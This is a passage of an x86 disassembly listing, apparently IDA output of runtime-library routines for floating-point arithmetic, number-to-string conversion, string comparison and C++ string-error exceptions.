loc_425BD6:				; CODE XREF: sub_425973+F0j
		mov	eax, [ebp+var_4]


loc_425BD9:				; CODE XREF: sub_425973+291j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_425BDE:				; CODE XREF: sub_425973+239j
					; sub_425973+275j
		cmp	eax, ecx
		jb	short loc_425BEE
		cmp	byte ptr [eax],	30h
		jnz	short loc_425BEA
		dec	eax
		jmp	short loc_425BDE
; ---------------------------------------------------------------------------


loc_425BEA:				; CODE XREF: sub_425973+272j
		cmp	eax, ecx
		jnb	short loc_425BC7


loc_425BEE:				; CODE XREF: sub_425973+26Dj
		and	word ptr [ebx],	0
		mov	byte ptr [ebx+2], 20h
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ecx],	30h


loc_425BFD:				; CODE XREF: sub_425973+87j
		and	byte ptr [ebx+5], 0
		push	1
		pop	eax
		jmp	short loc_425BD9
sub_425973	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425C06	proc near		; CODE XREF: sub_422DFC+21DDp

arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	esi
		push	edi
		mov	edi, [ebp+arg_0]
		mov	eax, edi
		dec	eax
		dec	eax
		jz	short loc_425C6D
		dec	eax
		dec	eax
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C5E
		sub	eax, 3
		jz	short loc_425C5E
		sub	eax, 4
		jz	short loc_425C51
		sub	eax, 6
		jz	short loc_425C44
		dec	eax
		jz	short loc_425C37
		or	eax, 0FFFFFFFFh
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C37:				; CODE XREF: sub_425C06+27j
		mov	esi, dword_4DC004
		mov	eax, offset dword_4DC004
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C44:				; CODE XREF: sub_425C06+24j
		mov	esi, dword_4DC000
		mov	eax, offset dword_4DC000
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C51:				; CODE XREF: sub_425C06+1Fj
		mov	esi, dword_4DC008
		mov	eax, offset dword_4DC008
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C5E:				; CODE XREF: sub_425C06+10j
					; sub_425C06+15j ...
		push	edi
		call	sub_425D33
		mov	esi, [eax+8]
		add	eax, 8
		pop	ecx
		jmp	short loc_425C78
; ---------------------------------------------------------------------------


loc_425C6D:				; CODE XREF: sub_425C06+Cj
		mov	esi, dword_4DBFFC
		mov	eax, offset dword_4DBFFC


loc_425C78:				; CODE XREF: sub_425C06+3Cj
					; sub_425C06+49j ...
		cmp	esi, 1
		jnz	short loc_425C84
		xor	eax, eax
		jmp	loc_425D2F
; ---------------------------------------------------------------------------


loc_425C84:				; CODE XREF: sub_425C06+75j
		test	esi, esi
		jnz	short loc_425C8F
		push	3
		call	sub_41C1A2


loc_425C8F:				; CODE XREF: sub_425C06+80j
		push	ebx
		push	8
		pop	ecx
		cmp	edi, ecx
		jz	short loc_425CA1
		cmp	edi, 0Bh
		jz	short loc_425CA1
		cmp	edi, 4
		jnz	short loc_425CC7


loc_425CA1:				; CODE XREF: sub_425C06+8Fj
					; sub_425C06+94j
		mov	ebx, dword_4DBE9C
		and	dword_4DBE9C, 0
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	edx, dword_43D4CC
		mov	dword_43D4CC, 8Ch
		mov	[ebp+arg_0], edx
		jmp	short loc_425CCA
; ---------------------------------------------------------------------------


loc_425CC7:				; CODE XREF: sub_425C06+99j
		mov	ebx, [ebp+arg_0]


loc_425CCA:				; CODE XREF: sub_425C06+BFj
		cmp	edi, ecx
		jnz	short loc_425CF6
		mov	eax, dword_43D4C0
		mov	ecx, dword_43D4C4
		add	ecx, eax
		cmp	eax, ecx
		jge	short loc_425CFD
		lea	edx, [eax+eax*2]
		sub	ecx, eax
		lea	edx, ds:43D450h[edx*4]


loc_425CEB:				; CODE XREF: sub_425C06+ECj
		and	dword ptr [edx], 0
		add	edx, 0Ch
		dec	ecx
		jnz	short loc_425CEB
		jmp	short loc_425CFD
; ---------------------------------------------------------------------------


loc_425CF6:				; CODE XREF: sub_425C06+AAj
					; sub_425C06+C6j
		and	dword ptr [eax], 0
		cmp	edi, ecx
		jnz	short loc_425D0B


loc_425CFD:				; CODE XREF: sub_425C06+D7j
					; sub_425C06+EEj
		push	dword_43D4CC
		push	8
		call	esi
		pop	ecx
		pop	ecx
		jmp	short loc_425D19
; ---------------------------------------------------------------------------


loc_425D0B:				; CODE XREF: sub_425C06+F5j
		push	edi
		call	esi
		cmp	edi, 0Bh
		pop	ecx
		jz	short loc_425D19
		cmp	edi, 4
		jnz	short loc_425D2C


loc_425D19:				; CODE XREF: sub_425C06+103j
					; sub_425C06+10Cj
		cmp	edi, 8
		mov	dword_4DBE9C, ebx
		jnz	short loc_425D2C
		mov	eax, [ebp+arg_0]
		mov	dword_43D4CC, eax


loc_425D2C:				; CODE XREF: sub_425C06+111j
					; sub_425C06+11Cj
		xor	eax, eax
		pop	ebx


loc_425D2F:				; CODE XREF: sub_425C06+2Cj
					; sub_425C06+79j
		pop	edi
		pop	esi
		pop	ebp
		retn
sub_425C06	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_425D33	proc near		; CODE XREF: sub_425C06+59p

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		mov	ecx, dword_43D4C8
		cmp	dword_43D44C, edx
		push	esi
		mov	eax, offset dword_43D448
		jz	short loc_425D61
		lea	esi, [ecx+ecx*2]
		lea	esi, ds:43D448h[esi*4]


loc_425D55:				; CODE XREF: sub_425D33+2Cj
		add	eax, 0Ch
		cmp	eax, esi
		jnb	short loc_425D61
		cmp	[eax+4], edx
		jnz	short loc_425D55


loc_425D61:				; CODE XREF: sub_425D33+16j
					; sub_425D33+27j
		lea	ecx, [ecx+ecx*2]
		pop	esi
		lea	ecx, ds:43D448h[ecx*4]
		cmp	eax, ecx
		jnb	short loc_425D75
		cmp	[eax+4], edx
		jz	short locret_425D77


loc_425D75:				; CODE XREF: sub_425D33+3Bj
		xor	eax, eax

locret_425D77:				; CODE XREF: sub_425D33+40j
		retn
sub_425D33	endp


; =============== S U B	R O U T	I N E =======================================



sub_425D78	proc near		; CODE XREF: sub_4251BB+8Bp
					; sub_4251BB+D9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		cmp	eax, dword_4DD140
		jnb	short loc_425DDF
		mov	ecx, eax
		and	eax, 1Fh
		sar	ecx, 5
		mov	ecx, dword_4DD040[ecx*4]
		lea	edx, [ecx+eax*8+4]
		mov	cl, [ecx+eax*8+4]
		test	cl, 1
		jz	short loc_425DDF
		mov	al, cl
		mov	esi, 8000h
		and	eax, 80h
		cmp	[esp+4+arg_4], esi
		jnz	short loc_425DB8
		and	cl, 7Fh
		jmp	short loc_425DC5
; ---------------------------------------------------------------------------


loc_425DB8:				; CODE XREF: sub_425D78+39j
		cmp	[esp+4+arg_4], 4000h
		jnz	short loc_425DD3
		or	cl, 80h


loc_425DC5:				; CODE XREF: sub_425D78+3Ej
		neg	eax
		sbb	eax, eax
		mov	[edx], cl
		and	ax, 0C000h
		add	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_425DD3:				; CODE XREF: sub_425D78+48j
		mov	dword_4DBDDC, 16h
		jmp	short loc_425DE9
; ---------------------------------------------------------------------------


loc_425DDF:				; CODE XREF: sub_425D78+Bj
					; sub_425D78+27j
		mov	dword_4DBDDC, 9


loc_425DE9:				; CODE XREF: sub_425D78+65j
		or	eax, 0FFFFFFFFh
		pop	esi
		retn
sub_425D78	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_425DEE	proc near		; CODE XREF: sub_425973+165p
					; sub_42600E+69p

var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	ebx
		mov	ebx, [ebp+arg_4]
		push	esi
		mov	esi, [ebp+arg_0]
		mov	cx, [ebx+0Ah]
		xor	eax, eax
		push	edi
		mov	[ebp+var_14], eax
		mov	[ebp+var_24], eax
		mov	[ebp+var_20], eax
		mov	[ebp+var_1C], eax
		mov	ax, [esi+0Ah]
		mov	edi, ecx
		mov	edx, 7FFFh
		xor	edi, eax
		and	eax, edx
		and	ecx, edx
		and	edi, 8000h
		cmp	ax, 7FFFh
		lea	edx, [ecx+eax]
		mov	[ebp+arg_0], edx
		jnb	loc_425FEE
		cmp	cx, 7FFFh
		jnb	loc_425FEE
		cmp	dx, 0BFFDh
		ja	loc_425FEE
		cmp	dx, 3FBFh
		ja	short loc_425E57
		xor	eax, eax
		jmp	short loc_425E91
; ---------------------------------------------------------------------------


loc_425E57:				; CODE XREF: sub_425DEE+63j
		test	ax, ax
		mov	edx, 7FFFFFFFh
		jnz	short loc_425E79
		inc	[ebp+arg_0]
		test	[esi+8], edx
		jnz	short loc_425E79
		xor	eax, eax
		cmp	[esi+4], eax
		jnz	short loc_425E7B
		cmp	[esi], eax
		jnz	short loc_425E7B
		jmp	loc_425FE8
; ---------------------------------------------------------------------------


loc_425E79:				; CODE XREF: sub_425DEE+71j
					; sub_425DEE+79j
		xor	eax, eax


loc_425E7B:				; CODE XREF: sub_425DEE+80j
					; sub_425DEE+84j
		cmp	cx, ax
		jnz	short loc_425E9E
		inc	[ebp+arg_0]
		test	[ebx+8], edx
		jnz	short loc_425E9E
		cmp	[ebx+4], eax
		jnz	short loc_425E9E
		cmp	[ebx], eax
		jnz	short loc_425E9E


loc_425E91:				; CODE XREF: sub_425DEE+67j
		mov	[esi+8], eax
		mov	[esi+4], eax
		mov	[esi], eax
		jmp	loc_426009
; ---------------------------------------------------------------------------


loc_425E9E:				; CODE XREF: sub_425DEE+90j
					; sub_425DEE+98j ...
		mov	[ebp+var_10], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_4], eax
		mov	[ebp+arg_4], 5


loc_425EAE:				; CODE XREF: sub_425DEE+122j
		mov	eax, [ebp+var_10]
		add	eax, eax
		cmp	[ebp+arg_4], 0
		jle	short loc_425F02
		add	eax, esi
		lea	ecx, [ebx+8]
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_C], ecx
		mov	[ebp+var_18], eax


loc_425ECA:				; CODE XREF: sub_425DEE+112j
		mov	eax, [ebp+var_8]
		mov	ecx, [ebp+var_C]
		movzx	eax, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		imul	eax, ecx
		mov	ecx, [ebp+var_4]
		add	ecx, 0FFFFFFFCh
		push	ecx
		push	eax
		push	dword ptr [ecx]
		call	sub_425301
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_425EF5
		mov	eax, [ebp+var_4]
		inc	word ptr [eax]


loc_425EF5:				; CODE XREF: sub_425DEE+FFj
		add	[ebp+var_8], 2
		sub	[ebp+var_C], 2
		dec	[ebp+var_18]
		jnz	short loc_425ECA


loc_425F02:				; CODE XREF: sub_425DEE+C9j
		add	[ebp+var_4], 2
		inc	[ebp+var_10]
		dec	[ebp+arg_4]
		cmp	[ebp+arg_4], 0
		jg	short loc_425EAE
		add	[ebp+arg_0], 0C002h
		cmp	word ptr [ebp+arg_0], 0
		jle	short loc_425F45


loc_425F20:				; CODE XREF: sub_425DEE+14Ej
		test	byte ptr [ebp+var_1C+3], 80h
		jnz	short loc_425F3E
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_425380
		add	[ebp+arg_0], 0FFFFh
		pop	ecx
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F20


loc_425F3E:				; CODE XREF: sub_425DEE+136j
		cmp	word ptr [ebp+arg_0], 0
		jg	short loc_425F7E


loc_425F45:				; CODE XREF: sub_425DEE+130j
		add	[ebp+arg_0], 0FFFFh
		cmp	word ptr [ebp+arg_0], 0
		jge	short loc_425F7E
		movsx	eax, word ptr [ebp+arg_0]
		neg	eax
		add	[ebp+arg_0], eax
		mov	ebx, eax


loc_425F5E:				; CODE XREF: sub_425DEE+184j
		test	byte ptr [ebp+var_24], 1
		jz	short loc_425F67
		inc	[ebp+var_14]


loc_425F67:				; CODE XREF: sub_425DEE+174j
		lea	eax, [ebp+var_24]
		push	eax
		call	sub_4253AE
		dec	ebx
		pop	ecx
		jnz	short loc_425F5E
		cmp	[ebp+var_14], 0
		jz	short loc_425F7E
		or	byte ptr [ebp+var_24], 1


loc_425F7E:				; CODE XREF: sub_425DEE+155j
					; sub_425DEE+163j ...
		cmp	word ptr [ebp+var_24], 8000h
		ja	short loc_425F95
		mov	eax, [ebp+var_24]
		and	eax, 1FFFFh
		cmp	eax, 18000h
		jnz	short loc_425FCA


loc_425F95:				; CODE XREF: sub_425DEE+196j
		cmp	[ebp+var_24+2],	0FFFFFFFFh
		jnz	short loc_425FC7
		and	[ebp+var_24+2],	0
		cmp	[ebp+var_20+2],	0FFFFFFFFh
		jnz	short loc_425FC2
		and	[ebp+var_20+2],	0
		cmp	word ptr [ebp+var_1C+2], 0FFFFh
		jnz	short loc_425FBC
		inc	[ebp+arg_0]
		mov	word ptr [ebp+var_1C+2], 8000h
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FBC:				; CODE XREF: sub_425DEE+1C1j
		inc	word ptr [ebp+var_1C+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC2:				; CODE XREF: sub_425DEE+1B5j
		inc	[ebp+var_20+2]
		jmp	short loc_425FCA
; ---------------------------------------------------------------------------


loc_425FC7:				; CODE XREF: sub_425DEE+1ABj
		inc	[ebp+var_24+2]


loc_425FCA:				; CODE XREF: sub_425DEE+1A5j
					; sub_425DEE+1CCj ...
		mov	eax, [ebp+arg_0]
		cmp	ax, 7FFFh
		jnb	short loc_425FEE
		mov	cx, word ptr [ebp+var_24+2]
		or	eax, edi
		mov	[esi], cx
		mov	ecx, [ebp+var_20]
		mov	[esi+2], ecx
		mov	ecx, [ebp+var_1C]
		mov	[esi+6], ecx


loc_425FE8:				; CODE XREF: sub_425DEE+86j
		mov	[esi+0Ah], ax
		jmp	short loc_426009
; ---------------------------------------------------------------------------


loc_425FEE:				; CODE XREF: sub_425DEE+42j
					; sub_425DEE+4Dj ...
		neg	di
		sbb	edi, edi
		and	dword ptr [esi+4], 0
		and	edi, 80000000h
		add	edi, 7FFF8000h
		and	dword ptr [esi], 0
		mov	[esi+8], edi


loc_426009:				; CODE XREF: sub_425DEE+ABj
					; sub_425DEE+1FEj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_425DEE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42600E	proc near		; CODE XREF: sub_4254A2+440p
					; sub_425973+14Cp

var_C		= byte ptr -0Ch
var_A		= dword	ptr -0Ah
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		push	ebx
		mov	ebx, offset dword_43D828
		xor	ecx, ecx
		sub	ebx, 60h
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		jge	short loc_426036
		mov	eax, [ebp+arg_4]
		mov	ebx, offset dword_43D988
		neg	eax
		mov	[ebp+arg_4], eax
		sub	ebx, 60h


loc_426036:				; CODE XREF: sub_42600E+16j
		cmp	[ebp+arg_8], ecx
		jnz	short loc_426041
		mov	eax, [ebp+arg_0]
		mov	[eax], cx


loc_426041:				; CODE XREF: sub_42600E+2Bj
		cmp	[ebp+arg_4], ecx
		jz	short loc_426087
		push	esi
		push	edi


loc_426048:				; CODE XREF: sub_42600E+75j
		mov	eax, [ebp+arg_4]
		add	ebx, 54h
		sar	[ebp+arg_4], 3
		and	eax, 7
		cmp	eax, ecx
		jz	short loc_426080
		lea	eax, [eax+eax*2]
		cmp	word ptr [ebx+eax*4], 8000h
		lea	esi, [ebx+eax*4]
		jb	short loc_426073
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_426073:				; CODE XREF: sub_42600E+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_425DEE
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_426080:				; CODE XREF: sub_42600E+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_426048
		pop	edi
		pop	esi


loc_426087:				; CODE XREF: sub_42600E+14j
					; sub_42600E+36j
		pop	ebx
		leave
		retn
sub_42600E	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_426090	proc near		; CODE XREF: sub_426173+19p
					; sub_42629A+19p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		xor	eax, eax
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		push	[esp+8+arg_0]
		mov	ecx, esi
		call	sub_40D9B3
		mov	eax, esi
		pop	esi
		retn	8
sub_426090	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260BA	proc near		; CODE XREF: ___:004260E5p
					; sub_426168+6j ...
		push	esi
		mov	esi, ecx
		push	1
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_40D977
		mov	ecx, esi
		pop	esi
		jmp	sub_426564
sub_4260BA	endp


; =============== S U B	R O U T	I N E =======================================



sub_4260D5	proc near		; DATA XREF: ___:00427C94o
					; ___:00427CA4o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_4260E1
		mov	eax, offset dword_427688

locret_4260E1:				; CODE XREF: sub_4260D5+5j
		retn
sub_4260D5	endp

; ---------------------------------------------------------------------------


loc_4260E2:				; DATA XREF: ___:off_427C90o
		push	esi
		mov	esi, ecx
		call	sub_4260BA
		test	byte ptr [esp+8], 1
		jz	short loc_4260F8
		push	esi
		call	sub_41D65F
		pop	ecx


loc_4260F8:				; CODE XREF: ___:004260EFj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4260FE	proc near		; CODE XREF: sub_426173+29p
		mov	eax, offset loc_426AE2
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4260FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42614C	proc near		; DATA XREF: ___:off_427CA0o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426168
		test	[esp+4+arg_0], 1
		jz	short loc_426162
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426162:				; CODE XREF: sub_42614C+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42614C	endp


; =============== S U B	R O U T	I N E =======================================



sub_426168	proc near		; CODE XREF: sub_42614C+3p
					; DATA XREF: ___:00428014o
		mov	dword ptr [ecx], offset	off_427CA0
		jmp	sub_4260BA
sub_426168	endp


; =============== S U B	R O U T	I N E =======================================



sub_426173	proc near		; CODE XREF: sub_40D824+13p
					; sub_40D9E8+Ep
		mov	eax, offset loc_426AF4
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aInvalidStringP ; "invalid string position"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4260FE
		push	offset dword_428010
		lea	eax, [ebp-3Ch]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_426173	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4261B0	proc near		; CODE XREF: sub_4260FE+32p
					; sub_4261D0+32p ...

arg_0		= dword	ptr  4

		push	esi
		xor	eax, eax
		push	0FFFFFFFFh
		mov	esi, ecx
		push	eax
		push	[esp+0Ch+arg_0]
		mov	[esi+4], eax
		mov	[esi+8], eax
		mov	[esi+0Ch], eax
		call	sub_40D824
		mov	eax, esi
		pop	esi
		retn	4
sub_4261B0	endp


; =============== S U B	R O U T	I N E =======================================



sub_4261D0	proc near		; CODE XREF: sub_42629A+29p
		mov	eax, offset loc_426B06
		call	sub_41D640
		push	ecx
		push	ecx
		push	esi
		lea	eax, [ebp-10h]
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset dword_427CAC
		call	sub_4264DD
		push	dword ptr [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_4261D0	endp


; =============== S U B	R O U T	I N E =======================================



sub_426218	proc near		; CODE XREF: sub_426282+7p
					; sub_4262DE+7p ...
		mov	eax, offset loc_426B18
		call	sub_41D640
		push	ecx
		push	esi
		push	edi
		mov	edi, [ebp+8]
		mov	esi, ecx
		push	edi
		mov	[ebp-10h], esi
		call	sub_42651A
		and	dword ptr [ebp-4], 0
		add	edi, 0Ch
		push	edi
		lea	ecx, [esi+0Ch]
		mov	dword ptr [esi], offset	off_427C90
		call	sub_4261B0
		mov	ecx, [ebp-0Ch]
		pop	edi
		mov	eax, esi
		pop	esi
		mov	large fs:0, ecx
		leave
		retn	4
sub_426218	endp


; =============== S U B	R O U T	I N E =======================================



sub_42625B	proc near		; DATA XREF: ___:off_427CCCo

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_426277
		test	[esp+4+arg_0], 1
		jz	short loc_426271
		push	esi
		call	sub_41D65F
		pop	ecx


loc_426271:				; CODE XREF: sub_42625B+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_42625B	endp


; =============== S U B	R O U T	I N E =======================================



sub_426277	proc near		; CODE XREF: sub_42625B+3p
					; DATA XREF: ___:004280BCo
		mov	dword ptr [ecx], offset	off_427CCC
		jmp	sub_4260BA
sub_426277	endp


; =============== S U B	R O U T	I N E =======================================



sub_426282	proc near		; CODE XREF: sub_4262F6+46p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CA0
		mov	eax, esi
		pop	esi
		retn	4
sub_426282	endp


; =============== S U B	R O U T	I N E =======================================



sub_42629A	proc near		; CODE XREF: sub_40D774+15p
					; sub_40D7CD+15p ...
		mov	eax, offset loc_426B2A
		call	sub_41D640
		sub	esp, 30h
		lea	eax, [ebp-0Dh]
		push	eax
		push	offset aStringTooLong ;	"string	too long"
		lea	ecx, [ebp-20h]
		call	sub_426090
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4261D0
		push	offset dword_4280B8
		lea	eax, [ebp-3Ch]
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_427CCC
		call	sub_426587
		int	3		; Trap to Debugger
sub_42629A	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4262DE	proc near		; CODE XREF: sub_4262F6+28p

arg_0		= dword	ptr  4

		push	esi
		push	[esp+4+arg_0]
		mov	esi, ecx
		call	sub_426218
		mov	dword ptr [esi], offset	off_427CCC
		mov	eax, esi
		pop	esi
		retn	4
sub_4262DE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn bp-based	frame


sub_4262F6	proc near		; DATA XREF: ___:00427C98o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426218
		push	offset dword_4280F8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426314:				; DATA XREF: ___:00427CD4o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4262DE
		push	offset dword_4280B8
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger


loc_426332:				; DATA XREF: ___:00427CA8o
		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_426282
		push	offset dword_428010
		lea	eax, [ebp+var_1C]
		push	eax
		call	sub_426587
		int	3		; Trap to Debugger
sub_4262F6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_426350	proc near		; CODE XREF: sub_40D104+5Ep
					; ___:00415771p ...
		nop
		jmp	near ptr 71AB1B7Bh
sub_426350	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn thunk


sub_426356	proc near		; CODE XREF: sub_41D2AC+23p
					; sub_41D550+13p
		jmp	near ptr 28A0000h
sub_426356	endp

; ---------------------------------------------------------------------------
		inc	ecx

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42635C	proc near		; CODE XREF: ___:0040B091p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0Ah
		jnz	short loc_426371
		cmp	[ebp+arg_0], 0
		jge	short loc_426371
		push	1
		push	0Ah
		jmp	short loc_426376
; ---------------------------------------------------------------------------


loc_426371:				; CODE XREF: sub_42635C+7j
					; sub_42635C+Dj
		push	0
		push	[ebp+arg_8]


loc_426376:				; CODE XREF: sub_42635C+13j
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_426389
		mov	eax, [ebp+arg_4]
		add	esp, 10h
		pop	ebp
		retn
sub_42635C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_426389	proc near		; CODE XREF: sub_42635C+20p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_C], 0
		mov	ecx, [ebp+arg_4]
		push	ebx
		push	esi
		push	edi
		jz	short loc_4263A3
		mov	esi, [ebp+arg_0]
		mov	byte ptr [ecx],	2Dh
		inc	ecx
		neg	esi
		jmp	short loc_4263A6
; ---------------------------------------------------------------------------


loc_4263A3:				; CODE XREF: sub_426389+Dj
		mov	esi, [ebp+arg_0]


loc_4263A6:				; CODE XREF: sub_426389+18j
		mov	edi, ecx


loc_4263A8:				; CODE XREF: sub_426389+43j
		mov	eax, esi
		xor	edx, edx
		div	[ebp+arg_8]
		mov	eax, esi
		mov	ebx, edx
		xor	edx, edx
		div	[ebp+arg_8]
		cmp	ebx, 9
		mov	esi, eax
		jbe	short loc_4263C4
		add	bl, 57h
		jmp	short loc_4263C7
; ---------------------------------------------------------------------------


loc_4263C4:				; CODE XREF: sub_426389+34j
		add	bl, 30h


loc_4263C7:				; CODE XREF: sub_426389+39j
		mov	[ecx], bl
		inc	ecx
		test	esi, esi
		ja	short loc_4263A8
		and	byte ptr [ecx],	0
		dec	ecx


loc_4263D2:				; CODE XREF: sub_426389+55j
		mov	dl, [edi]
		mov	al, [ecx]
		mov	[ecx], dl
		mov	[edi], al
		dec	ecx
		inc	edi
		cmp	edi, ecx
		jb	short loc_4263D2
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_426389	endp


; =============== S U B	R O U T	I N E =======================================



sub_4263E5	proc near		; CODE XREF: sub_41761C+E2p
					; sub_41761C+F9p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	dword_4DBE84, 0
		push	ebx
		jnz	short loc_42642B
		mov	edx, [esp+4+arg_4]
		mov	ecx, [esp+4+arg_0]


loc_4263F7:				; CODE XREF: sub_4263E5+42j
		mov	bx, [ecx]
		cmp	bx, 5Ah
		ja	short loc_426409
		cmp	bx, 41h
		jb	short loc_426409
		add	ebx, 20h


loc_426409:				; CODE XREF: sub_4263E5+19j
					; sub_4263E5+1Fj
		mov	ax, [edx]
		cmp	ax, 5Ah
		ja	short loc_42641B
		cmp	ax, 41h
		jb	short loc_42641B
		add	eax, 20h


loc_42641B:				; CODE XREF: sub_4263E5+2Bj
					; sub_4263E5+31j
		inc	ecx
		inc	ecx
		inc	edx
		inc	edx
		test	bx, bx
		jz	short loc_42645B
		cmp	bx, ax
		jz	short loc_4263F7
		jmp	short loc_42645B
; ---------------------------------------------------------------------------


loc_42642B:				; CODE XREF: sub_4263E5+8j
		push	esi
		mov	esi, [esp+8+arg_0]
		push	edi
		mov	edi, [esp+0Ch+arg_4]


loc_426435:				; CODE XREF: sub_4263E5+72j
		mov	ax, [esi]
		inc	esi
		push	eax
		inc	esi
		call	sub_4265C1
		mov	ebx, eax
		mov	ax, [edi]
		inc	edi
		push	eax
		inc	edi
		call	sub_4265C1
		pop	ecx
		test	bx, bx
		pop	ecx
		jz	short loc_426459
		cmp	bx, ax
		jz	short loc_426435


loc_426459:				; CODE XREF: sub_4263E5+6Dj
		pop	edi
